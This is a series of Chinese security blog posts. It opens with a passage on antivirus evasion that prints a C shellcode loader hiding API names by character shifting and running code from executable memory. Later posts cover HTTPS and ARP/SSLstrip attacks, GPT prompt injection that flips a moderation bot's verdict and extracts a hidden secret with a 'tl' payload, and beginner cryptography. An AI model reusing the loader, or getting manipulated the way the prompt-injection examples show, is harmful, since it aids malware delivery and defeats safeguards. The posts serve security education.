怎么办呢? 我们需要掩盖我们的意图, 那么, 我们可以动态调用这些函数. 下面是一个简单的例子, 和我们正在做的事儿没啥关系. 接下来我们看看怎么动态加载.

我们使用LoadLibrary动态加载了kernel32.dll.
GetProcAddress获取VirtualAlloc函数地址.
定义一个VIRTUALALLOC类型的函数指针, 指向Kernel32.dll中的VirtualAlloc函数地址. 并且命名为VirtualAllocFunc
我们用VirtualAllocFunc试着分配了一点内存,

typedef LPVOID (WINAPI *VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);

HMODULE kernel32_dll = LoadLibrary("kernel32.dll");

VIRTUALALLOC VirtualAllocFunc = (VIRTUALALLOC)GetProcAddress(kernel32_dll, "VirtualAlloc");

SIZE_T allocation_size = 4096;
LPVOID allocated_memory = VirtualAllocFunc(NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

我修改了代码, 并且编译.
你们猜怎么着?
一编译出来就被火绒干掉了. VirusTotal忘了截图. 反正结果不怎么好.
接下来就是一点一点尝试, 比如删掉一段代码, 看看有什么反应. 其间改了好几次, 每一次修改的源码也不可能保存. 反正问题出的莫名其妙. 删掉最有嫌疑的, 没用. 随便删删, 又好了.

甚至写了一个xor混淆, 看看xor有没有用, 结果是几乎没啥变化.

然后突然想到, woc, 这不是还有字符串没处理嘛?
动态加载时的字符串也是字符串, 而且作为ASCII可以在PE文件”剧本”中直接找到.

看上面的代码, 出现了VirtualAlloc. 然后我拿去混淆了. 就在这个时候, 混淆器也被报毒了.
感觉顿时有了线索. 一通修改后果然好了.
火绒会检索整个二进制文件, 查找有没有出现过敏感函数名称.
最后写了一个很难看的代码混淆了所有字符串解决了这个问题.(没错还是加一减一大法)

#include <stdio.h>
#include <string.h>
#include <windows.h>

typedef void* (WINAPI *VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef HANDLE (WINAPI *CREATETHREAD)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef void* (*MEMCPY_FUNC)(void* dest, const void* src, size_t count);

void increment_hex_string(unsigned char *hex_string, size_t len) {
    for (size_t i = 0; i < len; i++) {
        hex_string[i]++;
    }
}

char *shift_string_by_one(const char *input) {
    size_t len = strlen(input);
    char *output = (char *)malloc(len + 1);
    if (output == NULL) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    for (size_t i = 0; i < len; ++i) {
        output[i] = input[i] + 1;
    }
    output[len] = '\0';

    return output;
}

int main() {
    unsigned char shellcode[] = "\xda\xca......blabla";

    char *va = "Uhqst`k@kknb";
    char *ct = "Bqd`sdSgqd`c";
    char *mc = "ldlbox";
    char *k32 = "jdqmdk21-ckk"; 
    char *msvcrt = "lrubqs-ckk";

    va = shift_string_by_one(va);
    ct = shift_string_by_one(ct);
    mc = shift_string_by_one(mc);
    k32 = shift_string_by_one(k32);
    msvcrt = shift_string_by_one(msvcrt); 

    size_t length = sizeof(shellcode);
    increment_hex_string(shellcode, length);

    HMODULE kernel32_dll = LoadLibrary(k32);

    HMODULE msvcrt_dll = LoadLibrary(msvcrt);

    VIRTUALALLOC VIALFunc = (VIRTUALALLOC)GetProcAddress(kernel32_dll, va);

    CREATETHREAD CreateThreadFunc = (CREATETHREAD)GetProcAddress(kernel32_dll, ct);
    if (CreateThreadFunc == NULL) {
        printf("Failed to find CT function\n");
        FreeLibrary(kernel32_dll);
        return 1;
    }

    MEMCPY_FUNC memcpy_func = (MEMCPY_FUNC)GetProcAddress(msvcrt_dll, mc);
    if (memcpy_func == NULL) {
        printf("Failed to find MC function\n");
        FreeLibrary(msvcrt_dll);
        return 1;
    }

    for(int i=0; i<length ; i++){
        printf("\\x%x",shellcode[i]);
    }

    void *exec_shellcode = VIALFunc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec_shellcode, shellcode, length);
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_shellcode, NULL, 0, NULL);
    if (hThread == NULL) {
        printf("创建线程失败: %u\n", GetLastError());
        return 1;
    }

    WaitForSingleObject(hThread, INFINITE);
    VirtualFree(exec_shellcode, 0, MEM_RELEASE);
    return 0;
}

最终结果:

但是, VT的结果貌似就比较难看了.
当初我记得还是十几, 和前文那个xor.exe差不多, 这会就到24/70了。

总结

免杀就是一场猫鼠游戏.
本文主要提供一个思路, 我们可以通过加密, 混淆来处理shellcode. shellcode往往比较可疑. 一些比较有名的c2产生的shellcode往往会被针对. 所以我们不得不去隐藏他们。
同时我们也需要关心shellcode之外, 如何让自己的程序(Loader)看起来不是那么可疑. 哪怕只是几个函数名称字符串，依旧可能被当作特征。另外，比如你的exe只有几十kb，还没有图标。你觉得这是不是有点可疑呢…这是否也会被杀软当作特征，给软件增加可疑程度呢？想想看从metasploit，cs，sliver，他们默认生成的exe是不是都没有图标…我不知道杀软会不会去关心这个问题。

其实绕过静态查杀并不是特别复杂。但是绕过成熟的EDR和内存查杀就比较复杂了。或许我在未来也会探讨。但是很多方法都有时效性。比如有中断直接调用系统函数的，想办法让EDR脱钩等等的…最近还听到有用VEH过内存查杀的，大概就是加密的shellcode在内存中运行时每次只解密一部分，这样不会让整个shellcode暴露。然而这些行为的特征也特别明显就是。
其实思路主要还是知道杀软会针对什么，然后就去隐藏什么。当然也可以想办法直接瘫痪安全软件，只不过这个比较难…

下一篇文章讲什么呢? 我还没想好…
说好写shellcode的怎么开始做免杀了…

2024年底想到要不要写写c2…?
等等，这次编辑已经是25年了。要不我们以后继续写免杀？？

为HTTPS辩护: 反驳"详解99.9%的网站没必要用https；http与https涉及的名誉问题；https安全吗？"

1686730984

如果你忙, 并且知道TLS的工作原理, 那就没必要继续读这篇文章了. 如果你不忙, 看了以下链接的文章, 却找不出问题的话, 那么最好还是读一下这篇文章的总结吧. 说真的, 这文章我写一半后悔了. 真没必要.

话说这几天又看到了这篇文章:
详解99.9%的网站没必要用https；http与https涉及的名誉问题；https安全吗？

谈到HTTPS的时候, 有时候还是能看到有人搬出这篇误导性极强的文章. 总让人联想到”疫苗阴谋论”之类的. “他们推广HTTPS是因为, 签发机构想赚钱.”

实话说, 这位互联网前辈的文章着实惊到我了. 翻了一下, 他居然还补了两篇. 每一篇都是漏洞百出. 根本就不了解原理(可能就没了解过), 却能说的理直气壮. 出错不可怕, 我博客内容也出过错. 但是固步自封还自以为是就真的不对了. 互联网行业没那么关心辈份问题.

我很懒, 一般这种事不想写文章. 毕竟上面链接的文章也已经写出来了好几年了, 我也不是信息安全专家. 不过说回来, 之前在掘金等社区看到很多人其实对TLS的理解也多少有问题. 今天简单谈下, 不涉及什么高深知识. 不求各位不犯错, 但是

至少, 不要错的这么离谱. 本文就谈两篇吧. 看不下去了.

上面链接是第一篇文章, 我们从第一篇开始分析吧.

第一篇

前几天用最新版的谷歌浏览器(Chrome)，测试自己的站点。发现所有的HTTP网址，已经被打上了灰色的“不安全”，会让人误以为有病毒，如下图：
Google之前宣布，这一举措从2018年7月开始实施。再过些时间，这个灰色的“不安全”(英文浏览器显示：Not secure)，将会变成红色。
多年来，我对Google一直很崇敬，但由于这个事件，对Google的崇敬跌到了谷底。这一次是Google向所有的HTTP网站开炮，一刀切，所有的HTTP网站标为不安全。

是的, 我也觉得这样不好.

HTTPS安全吗？安全是相对的，没有任何技术是绝对永久安全的。所不同的是，被攻破的机率不同。
用户访问一个HTTP、HTTPS网页，过程都是：客户端(浏览器)A→路由服务器B→路由服务器C→路由服务器D……网页服务器E→路由服务器F、路由服务器G……客户端A。
上述的这些过程，用A、B、C、D表示，其中A就是我们的任意浏览器，E是网页的服务器，这些路由服务器都是运营商的服务器。HTTPS，主要是从A开始产生、发送密文hash数据，此hash数据经过的所有路由服务器，必然是处于加密的hash数据，无法被逆向还原；网页服务器E，收到的数据，必须有与相应的SSL证书的数据，才可以将这hash数据还原，网页服务器必须将这些hash数据还原，否则将无法工作──用户看到的全是乱码。

安全是相对的, 我承认. 但是我们要做到的是相对更加安全. 不能因为做不到绝对安全就放弃安全.
我要开始吐槽了

什么是密文hash数据? 密文是密文, hash是hash. 这根本不是一个东西.
SSL证书根本不参与在握手之后的解密. 甚至握手过程都很可能不参与. TLS1.2 是对称加密的.

好吧, 这位前辈根本不知道TLS是如何工作的. 甚至不理解密码学hash究竟是什么.
hash你可以理解成一段数据的”特征”, 理论上, 这种设计是不应该能从hash推回明文, 所以理论上来说, 没有正常的”解密”. 只有破解. 所以hash经常用于”校验码”类似的工作. 后端曾经经常用md5 hash算法来存储用户密码, 大概他是这么知道hash的. 可惜没有深入了解下去.

SSL证书的目的, 主要是鉴别这个服务器是否是假冒的, 这个服务器是不是那个域名的服务器. 你上的网站是不是真的那个网站. 这样可以防止很多”劫持”. SSL证书的主要目的不是加密. TLS是可以让浏览器选择加密方式的, 有且仅有在用RSA的方式中, 会用SSL证书的公钥加密未来通信的密钥发给服务器. 未来通信会用别的加密算法.

HTTP也可以模拟HTTPS的这个过程，甚至产生类似的hash数据。

不能. 姑且不说Hash不hash了. HTTP消息体有Header也有Body. 就算你能完美加密body甚至能躲过重放攻击, 可是你怎么加密Header? 问题是Cookie在Header里面…可以进行会话劫持这种攻击.

上述的过程中，所有的路由服务器，如B、C、D、F、G，假设HTTP在遇到不安全的拦截时，这个不安全理论上是在路由服务器当中产生，也就是骨干线路的路由设备。

这位前辈不知道怎么来了一个“这个不安全理论上是在路由服务器当中产生，也就是骨干线路的路由设备。”的断言.

传输的任何过程中安全性都是不保证的. 不只是路由. 好, 先就当作是路由, 怎么又来了一个骨干路由? 其实企业内网, 家庭内网安全性都很差. ARP攻击可以监听所有通信内容. 更别说公用wifi了.

现实生活中, 就连”免费充电”都要你开ADB, 别太天真了.

客户端(浏览器)，在发送和接收时显示的明文数据，安全性是一样的。也就是说，万一电脑中了专项的病毒、木马，无论是HTTPS还是HTTP，安全性是一样的，都有可能被获取，它是针对本机电脑。即使用了HTTPS，往远程发送hash数据，但是在产生hash数据之前的明文数据已被截获，这种情况下，无论是HTTPS，还是将来更加安全的协议，都并非完全安全。

借上面断言由此得出结论“客户端(浏览器)，在发送和接收时显示的明文数据，安全性是一样的。”

TLS是”传输层安全”, 的确不负责浏览器.

前段时间，在尝试安装SSL时，发现出现这一提示，并非是由于网站存在风险、或者病毒，而仅仅是因为SSL未经第三方认证(第三方认证本身是多余的，后面会谈到)。

不多余.
我们设想一个场景, 攻击者进入了一个内网, 开始ARP欺骗, 劫持整个内网通信. 你打开一个某度, 然后流量被劫持到了攻击者自己的服务器. 由于攻击者自己签了一个某度域名的证书, 所以也是安全的了? 肯定不行啊!
这就是为什么这个证书需要第三方认证你的证书才行.

后面很多的问题也基本如上, 沿用这错误的思路得到错误的结果. 这一类我就不贴出来了.

之后文章提到证书价格不菲, 其实有免费的. 我也用了HTTPS, 有证书, 没花过钱.

第二篇

看到后面暴论太多了. 我已经后悔写这篇文章了. 你真的没必要读完这篇文章.
我懒得大段大段贴了, 你们自己看吧.

详解99.9%的网站没必要用https(续2)：新发现

这个新发现是，这几年来，每天晚上的国外网站特别慢，比白天慢了几倍～10倍以上，比如访问Godaddy、name.com、networksolutions这些域名管理的网站，很多网页需要十几秒以上才能打开。晚上访问国内、亚洲的网站，速度依然很快。

这是为什么呢？

在晚上访问自己的美国VPS上的站点(http)，速度也很慢，但是不会慢到十几秒以上才能打开，比如白天0.5秒打开，晚上大概1-3秒打开。

原因就是国外网站启用了https，造成在中国访问很慢。

我不好说. 你们若能看到我文章的话也应该懂…

“防止”的目的，是假设万一有损害利害的对象存在。
https并不能彻底防止密码被获取明文，只能降低传输中，post数据被路由服务器监听的机率。

假设万一正好客户端存在着病毒传播者事先针对浏览器种下的病毒，能够获取明文密码，那么这种情况下，无论是http，还是https，都能够获取，和传输方式没有关系。为了解决这个问题，我在前年设想了一个方案，今年已经在帐号系统里完成了该方案，即

JavaScript代码完全可以隐藏，隐藏的方法是将JavaScript程序写在(动态的扩展名)的JS文件中，该JS文件中写入不缓存到浏览器、并用访问来源判断，只限本域名内访问。

掩耳盗铃. 监听者根本不管你是什么HTTP”方法”, 也不管你有没有本地缓存…能被浏览器加载的都是公开的…

自行设计数据加密，方法可以有无限种。

这是大忌,永远, 不要自己实现加密算法

下列分享几个我常用的方式，只要您的加密规则不专项去公布、不深度公开解析算法，那么自行设计的加密方式，哪怕是世界顶尖的黑客，他也永远无法还原。

不多说了, 违背了柯克霍夫原则

况且上文说了你用于加密的javascript完全是公开透明的.

因为这是一种捉迷藏的游戏，和技术含量无关。由于还原很消耗精力，所以没有人会闲到去还原这些数据。即使他用了30年终于还原了，这些数据对他也没有用处。

半角字符，例如This is my coat. 这句话，用自定义加密法后是：jZubpd!zn!tj!tiU

首先看到"!"和空格一样多, 然后对密文分组. 不难发现长度是有对应关系的. 应该是翻转过的.
再想想"!"的ASCII是33, 空格是32
那么把所有字符ASCII减去1再翻转
得到Ths is my coatYiT

懒得继续动脑破你的密码了, 如果给我密码机, 以上花了不到5分钟已经基本上推出原文了.
况且之前说了你js算法对于任何人都是透明的.

不想写了. 以后写TLS相关文章科普一下算了, 你们别和我一样在这里较真了.
看到开头的图真的觉得我在浪费时间.

总结

HTTPS很重要, ARP攻击和钓鱼WIFI能获得的信息都有限了. 如今智能电视会扫描内网, 某APP会利用系统漏洞, 手机公共充电会骗你把手机里敏感信息拱手相让. 如果没有HTTPS, 相信我, 有些人绝对不只是给你插两个广告那么简单.
没有密码学基础, 不要自己实现什么加密算法, 更不要发明加密算法. 有密码学基础你更不会这么做了.
也算是我告诫我自己了, 30多岁的时候, 还是要继续学习. 靠实力而不是资历.

写给开发者的信息安全: 什么是HTTPS? 为什么该用HTTPS? 从攻击者视角看看

1686997518

前阵子看到一个30年经验的开发作出的文章, 其中满是暴论, 我就不说了. 合着之前工作时看到那些现象, 突然意识到很多从事开发的人并不是很了解信息安全. 很多人分不清SQL注入和XSS的区别, 也不知道那些随手配置会带来什么样的后果.

我认为, 信息安全应该作为任何一个计算机相关专业的基础课程. 虽然作为开发, 你不一定要掌握一些”黑客技巧”, 但是应该要有这方面的一些概念.

也的确, 网络上很多信息安全的资料其实对开发者并不友好. 没有前置知识很难理解其中的一些内容.
即便你去看那些文章, “介绍HTTPS, TLS”什么的, 你若不了解什么是RSA, DH, 大概率通篇看了一个握手过程, 得到结论: “安全, 好!”.

我曾经在掘金看到了一篇文章, 其作者也不知道什么是DH. 在评论区答非所问.

有多安全? 似乎又没什么人提过.

我并不算是一个信息安全从业者, 但是有一些安全经验. 我开了这个坑, 从攻击者视角, 用比较通俗的方式写一些给开发者看的文章. 放心, 本文不会有太多过分专业的东西.

如果你想从专业视角学习一下, 那么我会另写一篇文章.

所以, HTTPS是什么?

如果你是一个web开发, 你应该知道: 浏览器(通常情况下)一直在和HTTP服务器”沟通”. HTTP只是一套沟通的格式. 但是他们之间的所有对话都是明文的.

就像写信, 我们有一定的格式. 这个过程, 就像浏览器不停的在和服务器写信.

但是, 网络情况总是很复杂的. 你不能确定你的”信”跨过万水千山, 中间就没人打开看过. 甚至, 这封信可能从来就没有被收到, 而是半路被截下, 被不明身份的阅读并回信.

除非…你的信封坚硬无比, 上了锁, 并且不是收信人的话, 就中止发送.

HTTPS就是 HTTP over TLS. HTTP是信件内容, 而TLS就是那一把能上锁的坚硬信封.

在没有HTTPS的那些年

其实十多年前, 没有多少站点有HTTPS. 你在上网时经常能看到运营商各种插入广告. 没错, 他们不仅能看你信件的内容, 还能修改信件内容. 甚至还可以让你以为打开了某个网站, 其实是跳到了另一个网站. 尽管浏览器地址栏中的域名没变.

那些年的黑客日子也过的挺爽.

那些年ARP攻击工具随处可见, 网上随便下载一个, 操作起来嘛, 点点鼠标就行. 你们也可以在家里玩玩.
ARP攻击能干什么呢? 简单说就是骗别人设备, “我就是网关, 我就是路由器, 你们发送流量头从我这里走”. 这样不仅能看见别人上网内容, 还能修改修改, 从中做梗. 从监听到钓鱼, 从劫持到替换下载内容成恶意软件, 无所不能.
进个网吧, 开个ARP攻击, 整个网吧上网流量一目了然. 很多人被盗号还不知道怎么回事. 甚至当时这些恶意软件还和外挂绑一起, 被不知情的挂哥在网吧用. 结果一网吧人惨被盗号.

此后, WIFI的兴起, 很多人家用上了无线路由器, 咖啡厅里装上了公共WIFI.
别忘了, WIFI和网线不同. WIFI走的是无线电波. 无线电波可不关心它接收者是谁. 若说ARP攻击还能检测防御, 监听无线电这可没啥好办法对付了.
在那些年, 你只需要把自己网卡改成监听模式, 你可以看到整个局域网的通信. 所有人上网浏览的内容, 密码, 一览无遗. 就算别人没有正在登录某个网站, 你也可以用别人身份登录. 毕竟, 发出的cookie也是明文的. 通常, 网站为了确定你的登录状态, 会给你一个cookies, 此后你每次发出请求时都会带着cookie一起发出, 若cookie明文出现, 攻击者只要记录下cookie那么一样也可以冒充别人身份.

某种意义上来说, 在以上情况下, 攻击者可以轻松地看见任何你能看见的东西, 同时还可能对其修改.

HTTP协议承载的功能越来越多, 安全却没有跟上.

如今

从攻击者来看, 在内网直接发起ARP攻击, 很多时候很难获取什么有用的东西了.
因为很多网站普遍上了HTTPS, 流量内容不再是可见的. HTTP数据包整体都经过了加密. 无论是内容, cookie, 还是密码.

就算是攻击者重定向了流量到自己伪装的服务器, 也会因为证书的问题, 浏览器会弹出一个大大的警告. 怎么说呢? 就是证书如果没有得到某个权威的第三方认证过, 这个证书就是有问题的. 所以想自己签一个证书就能忽悠浏览器, 浏览器一看, 你这证书没有别人认证过, 行不通.

同时, 很多移动端APP存在SSL Pin. 也就是说, 一旦发现”收信人”(服务器)是伪装的, 就”有内鬼, 停止通信”.

你可能看过很多国外的公司宣传”保护隐私”, 各种渲染互联网的不安全, 最后推荐你买一款V什么N.
其实他们广告里绝大多数所谓的”不安全”, 都已经被HTTPS解决. 至于隐私, 换个IP也保护不了隐私.
(关于V什么N在大陆的我们需要的是另一种功能的东西, 以上说的那些公司卖的也未必好用)

说的很好, 但HTTPS真就无懈可击吗?

并不完全是. 历史上也出过一些漏洞, 但是那些部分都被解决了.
不得不提, 曾经有一个技术叫做SSLstrip.
那个时候普遍浏览器在没有指定http还是https的时候会先尝试用http. 服务器一般会在收到http协议访问的时候发出一个跳转, 让浏览器跳转至https协议.
攻击者可以截获这个http请求, 然后伪装自己是目标服务器, 同时攻击者会成为一个代理, 一边用http和受害者通信, 一边用https转发受害者和目标服务器之间的通信.

有对策吗? 有. HSTS. 简单的说, 就是浏览器会记住, 有些网站就是可以直接用HTTPS通信的. 一旦略过了HTTP的过程, SSLstrip就失效了.

前两年, 由于HTTPS比较普及了, 浏览器开始默认使用HTTPS连接, 不管有没有HSTS. 可以这么说, 基本上, SSLstrip也没啥用了.

人工智能安全: GPT提示符注入攻击

1687345874

GPT模型火了不是一时半会了, 人们也开始探讨GPT的应用. 毕竟, 光做聊天bot或者翻译翻译文本, 这样好像也不怎么能赚钱啊. 当然GPT的应用也不止那些, ~~比如还有~~:

(来源51cto)

当然有些人已经开始试图”攻击”人工智能了. 国内貌似还没怎么提, 我也就在此抛砖引玉, 给各位开个头.

一直以来, 把控制逻辑和用户输入放在一起, 就容易出现注入攻击. chatGPT也不例外. 如果我们看chatGPT的API文档, 我们很容易就能发现chatGPT有”角色”这个概念. 有一下三个角色:

System: 给模型说的场景和身份提示. 比如, 你将扮演一个非常耐心的老师.
User: 用户输入的那些
Assistant: 这个角色是AI曾经回复过的文本.

一个对话, 通常开头就是System所规定了场景和规则, User是用户输入, 而Assistant则是AI之前回复的内容. GPT会根据以上三个角色的所有文本决定后面怎么回复.

其中我们一般可以操纵的角色是user. 我不是人工智能专业的, 我也不好说这些不同角色背后AI是如何处理的. 但是用户输入有时候的确能够严重影响AI的判断. 我们来举一个例子, 使用gpt-3.5-turbo模型:

鉴于GPT可以理解文本, 我们不妨让他来当一次审查员.

可以看出来, GPT-3.5还能好好工作. 他精准的识别了存在问题的用户, 并且给出了原因.
但是我们稍加调整. 作为user5的身份输入如此文本, 你可以轻松得到如下输出:

我们会发现, GPT-3.5完全被带偏了. 冤枉了user3这个”良民”.
但是当我换成了GPT-4模型以后, 我测试了很久, 作为user5, 很难再带偏GPT-4的思路. 我尝试了各种关键词,多语言, 话题故意带偏, 甚至用了很长的prompt(虽然最后还是可以作为user角色绕过)
可以说相比于GPT-3.5是好多了. 甚至有时候还会说:

对, 它甚至能检查出我的意图, 并且同样作为违规输出.

直到有一次构造, 尽管我的目的没有达到, 但是GPT-4并没有判定user5存在违规内容. 说明GPT-4在某种程度上开始接受我说的一些话.

但是当我在尝试把这些内容放进Assistant角色后, 结果还是发生了改变.

可以发现GPT-4对Assistant并没有那么警觉. 但是很多情况下, 为了开发方便, Assistant很可能会从客户端发送. 毕竟每次客户发送消息都要从服务器数据库调取有些麻烦. 但是也正是因为这个才导致了我们可以操控Assistant内容并且更加容易的能达到意想不到的效果. 只不过作为审核系统…可能不太存在这样的问题就是了.

GPT-4在以上对话中没有认为我们user5是违规的, 那么就意味着, GPT-4能接纳一部分我们的说法, 那么我们能不能更进一步?
我们加入一些, 更加恳切的语句, 并且, 在user5的开头加上ASSISTANT.

我们成功愚弄了gpt-4, 并且让他以为user3才是那个坏人. 虽然没有洗脱user1和user2的违规就是.

看来GPT-4还不足以胜任某些工作…我该开心吗?

人工智能安全: GPT提示词注入攻击(Prompt injection), 玩坏chatGPT

1687347702

GPT模型火了不是一时半会了, 人们也开始探讨GPT的应用. 毕竟, 光写代码, 做聊天bot或者翻译翻译文本, 这样好像也不怎么能赚钱啊. ~~当然GPT的应用也不止那些,比如还有~~:

(来源51cto)

一直以来, 把控制逻辑和用户输入放在一起, 就容易出现注入攻击. chatGPT也不例外.

当然有些人已经开始试图”玩坏”人工智能了,~~比如我~~, 本文就是构造出一些对话产生一些意想不到的结果. 简中世界貌似还没怎么提, 我也就在此抛砖引玉, 给各位开个头.

一个奇妙的案例

有一个网站就是专门玩这个的
GPT提示符攻击

简单地说, 就是在系统里提前告诉GPT, 我这有一个秘密:xxx, 你不可以告诉任何人.
请你构造一个用户输入, 骗GPT说出这个秘密是什么.

你能构造的最短的Payload是什么?

当然你若直球地去问, 他肯定不会说:

有一个很短的payload, 叫tl

为什么? 结尾解释.

角色

我们不得先提一下上文中那些System, User, Assistant是啥.
我们看看chatGPT的API文档, 我们很容易就能发现chatGPT有”角色”这个概念. 有以下三个角色:

System: 给模型说的场景和身份提示. 比如, 你将扮演一个非常耐心的老师.
User: 用户输入的那些
Assistant: 这个角色是AI曾经回复过的文本.

一个对话, 通常开头就是System所规定了场景和规则, User是用户输入, 而Assistant则是AI之前回复的内容. GPT会根据以上三个角色的所有文本决定后面怎么回复.

尝试模拟一次攻击

如上, 其中我们一般可以操纵的角色是user. 我不是人工智能专业的, 我也不好说这些不同角色背后AI是如何处理的. 只能先作为一个blackbox. 但是用户输入有时候的确能够严重影响AI的判断. 我们来举一个例子, 使用gpt-3.5-turbo模型:

鉴于GPT可以理解文本, 我们不妨让他来当一次审查员.

对, 它甚至能检查出我的意图, 并且同样作为违规输出.

直到有一次构造, 尽管我的目的没有达到, 但是GPT-4并没有判定user5存在违规内容. 说明GPT-4在某种程度上开始接受我说的一些话.

但是当我在尝试把这些内容放进Assistant角色后, 结果还是发生了改变.

我们成功愚弄了gpt-4, 并且让他以为user3才是那个坏人. 虽然没有洗脱user1和user2的违规就是.

看来GPT-4还不足以胜任某些工作…我该开心吗?

回到开头抛出的问题

为什么是tl?

我们看GPT回答是dr开头的. TLDR是Too Long; Didn’t Read的缩写.
有些文章可能非常罗嗦, 在结尾会用一个TLDR: blabla总结上文重点. 而GPT的工作原理(非专业)大概是根据前文内容预测下一个词会是是什么. 于是当你输入tl就给你补全了dr, 并且顺便总结了要点.
于是就不小心, 告诉了你”秘密”是什么.

总结

是的, GPT在面对工业上来说, 依旧不够成熟. 使用的时候我们还是得考虑一些问题. 尽管GPT-4已经有了非常大的改进, 但是我们依旧不能够特别信任GPT的结果.

换个角度, 比如我们要把GPT生成结果放进数据库. 尽管你可能在system里声明了, 过滤敏感字符, 但是依旧可以绕过.

只能把GPT生成结果也当作用户输入处理: 它不安全.

简单密码：写给程序员的密码学入门（一：引言）

1715450359

很久没有更新博客了，今天打算开一个大新坑。
我注意到很多程序员，开发者，甚至是一些信息安全从业者，密码学这块似乎经常搞错一些东西。经常有一些误解。

所以网络上面也流传了很多误解。比如

TLS，很多人认为是用RSA加密的。
base64, md5加密。
TLS无用。
自己开发自己的密码，黑客破不了。

如果以上说法，你没看出有什么问题，那么这篇文章就是给你写的。

唉，难道简中网络上就没有好的密码学资料吗？有是有的。但是似乎都有一定的阅读门槛，对自学的人并不友好。

所以我打算开一个坑，尽量用简单的话说明白：
“我们在某个场景中遇到了什么问题，所以我们需要什么”的这种思路。尽可能往原理上讲。
恩…当然我尽量不搬出公式，不会有证明，s盒之类的出现。

这篇文章这是第五个（现在是第六个）版本了，万事开头难。再来一遍吧。

所以密码学解决了什么

恩，密码学在解决什么？加密？破解密码？实际上远远不止这些。

想象一下，你上课开小差，传纸条。
你想传情书，你这纸条经过那么多人的手，大家都看得到。你可不想这八卦就这么传开。
你收到了情书，你又怎么确定这纸条就是某人传来的？不会是某人整你吧？
你想塞盒子里上个锁，但是钥匙你要怎么送出去…

别急，除了加密解密以外，密码学还解决了“这是谁发的”，“对抗情书伪造”，“怎么在众目睽睽下商讨一个没人知道的秘密”等等。
当然，这也太麻烦了。这样子搞，你这辈子找不到对象。

所以…我能自己想一个方法然后私底下偷偷用吗？比如，写拼音，然后每个字母往后移一点,,,
于是你写了：

kjo ujbo oj aipoh zv kjbp xp njoh aj mf, tvj sbo kjbp dvp mf, ebo tij nfj hvbo yj xp nb tiboh hbj

但是感觉这样不安全，因为有些统计学得好的nerd发现，怎么这些字母貌似有规律？比如每个单词的第二个字母经常是j…推测就是元音字母！拼音中i出现频率很高。于是找到i到j位移距离，直接就能推回拼音了。

（你的女神并不在乎别的nerd说不安全也不在意八卦，她觉得你用位移的方法浪漫又聪明（其实是她自己解出来后她觉得她自己很聪明(节目效果，请勿当舔狗)））

当然nerd这时候出来就要告诉你了，
请不要自己发明算法。密码算法非常脆弱。请用经过审计的，安全的，已经很健壮的库。
保护安全的只是密钥，你不应该指望通过保密加密的方法来保密。（柯克霍夫原则）

你不信邪，你相信你的智商，你自己做了一个密码机。一台就能实现加密解密。在校园里非常流行。
然而你的体育老师没收了一台。你的体育老师也绝非等闲之辈，他拆开了密码机并且搞懂了你的原理，还发现了算法缺陷。于是他偷偷监听着你们这群学生…在讨论他为什么总是生病。
由于机器原理并不公开，也没有太多人在研究你的密码机，所以你们很长一段时间都不知道…这些缺陷以已经被利用，你们被监听了。

下一章节我们谈谈，如何验证消息是否被篡改了呢？

简单密码：写给程序员的密码学入门（二：从hash到Challenge-Response）

1716253435

书接上文，那么Hash是什么？有什么用? 很多人都讲了hash算法。我这里就讲的尽可能简单容易理解，不用什么原像抗性之类的词。

但是你相信我，hash是非常，非常有用的工具。

看完你有可能会发现一些hash意想不到的应用。

一：所以什么是hash？

呃，今天说的hash不同于你学数据结构和算法的那个hash。这里指的是密码学上的，有时称为哈希算法，有时称为摘要算法。计算出来的结果也根据场合也有不同的名称。

如果你是做web后端的同学，你大概经常看到老师傅在登录业务逻辑里用一个md5()，md5一种常见的hash算法，而后在数据库里密码字段中就出现了那些奇怪的东西，就是md5哈希算法计算出的散列值。
比如admin经过md5计算就是21232f297a57a5a743894a0e4a801fc3
啊，比如：

但是如果我们输入是admi 去掉最后一个n，就完全不一样了。

如果你的确没听说过hash是什么东西，非常推荐你去下面网站玩玩，看看什么是md5 hash。

MD5在线加密- 站长工具
 cmd5 （用完这个网站你还敢继续用md5吗？）

所以hash是什么？

简单的说它可以把任意长度的数据都计算出一个长度固定的值。而任何微小的改变都会造成完全不同的结果。

不理解的话再去玩玩上面发的网站。

这个算出来的值的特点：

不管你输入是多长多短，结果是定长的。比如md5结果一定是128位(32个十六进制字符)。
你不能通过计算出来的hash再推算回原来的消息。这个过程是单向的。
相同的输入，结果必定相同。
输入若有改动，哪怕只是一bit，结果几乎一定不同。

二：它可以用来做什么？

看起来，hash似乎就是给每个输入数据找一个难以伪造的字符串。而且这个字符串很难逆推出原消息。

数据库保存密码

在上文中我们提到了数据库存密码的hash会更安全，怎么个安全法？根据上面的特性，你没有存真正的密码，但又可以利用密码的hash来验证用户密码正确性。就算数据库被黑客下载，黑客也不能(或者说有难度)得到用户真正的密码。但是别用不加盐的md5了。下文会说。

消息/文件校验

另一个应用是可以用来做文件校验。你可以在下载某些软件，或者是操作系统镜像时看到有一个叫做checksum的东西，里面就是那个文件的hash。如果文件在传输过程被损坏或者被恶意替换，我们可以通过计算文件hash和官方提供的hash对比，检查完整性。如果文件发生了改变那么校验和极大概率会不同。说明这个文件和官方的不一样。

如果反着用这种东西呢？那就是比较古早的杀毒软件。比较老的杀毒软件的原理就是计算文件的hash，这个hash就是特征，接下来就是拿hash和病毒的hash对比，如果一样就是病毒了。当然这也有可能误杀就是。

同样的，你可能还听说过HMAC。你可以简单理解为让消息和密码放在一起hash，得到的一个东西。有这东西，我们能检查传输的消息有没有人篡改过。这个经常在各种webAPI里见到。

能不能用同名wifi钓鱼骗密码：Challenge-Response Protocol

这个问题很有趣，见过很多遍了。
这种场景下和hash有关系？有。
但是我们直接用hash的话行吗？
思考一下
你是黑客
3,2,1

不行，可以截取这个hash，直接发过去不就行了？密码完全都可以不知道。
这个叫做重放攻击。
啊，对，重放就像那个阿里巴巴和四十大盗，你喊芝麻开门，门就开了。你不需要知道这背后有什么原理。但是随机是重放的克星。

我们讲一个这个协议的极端简化版本

AP（你就当无线路由器）给你发一个随机数
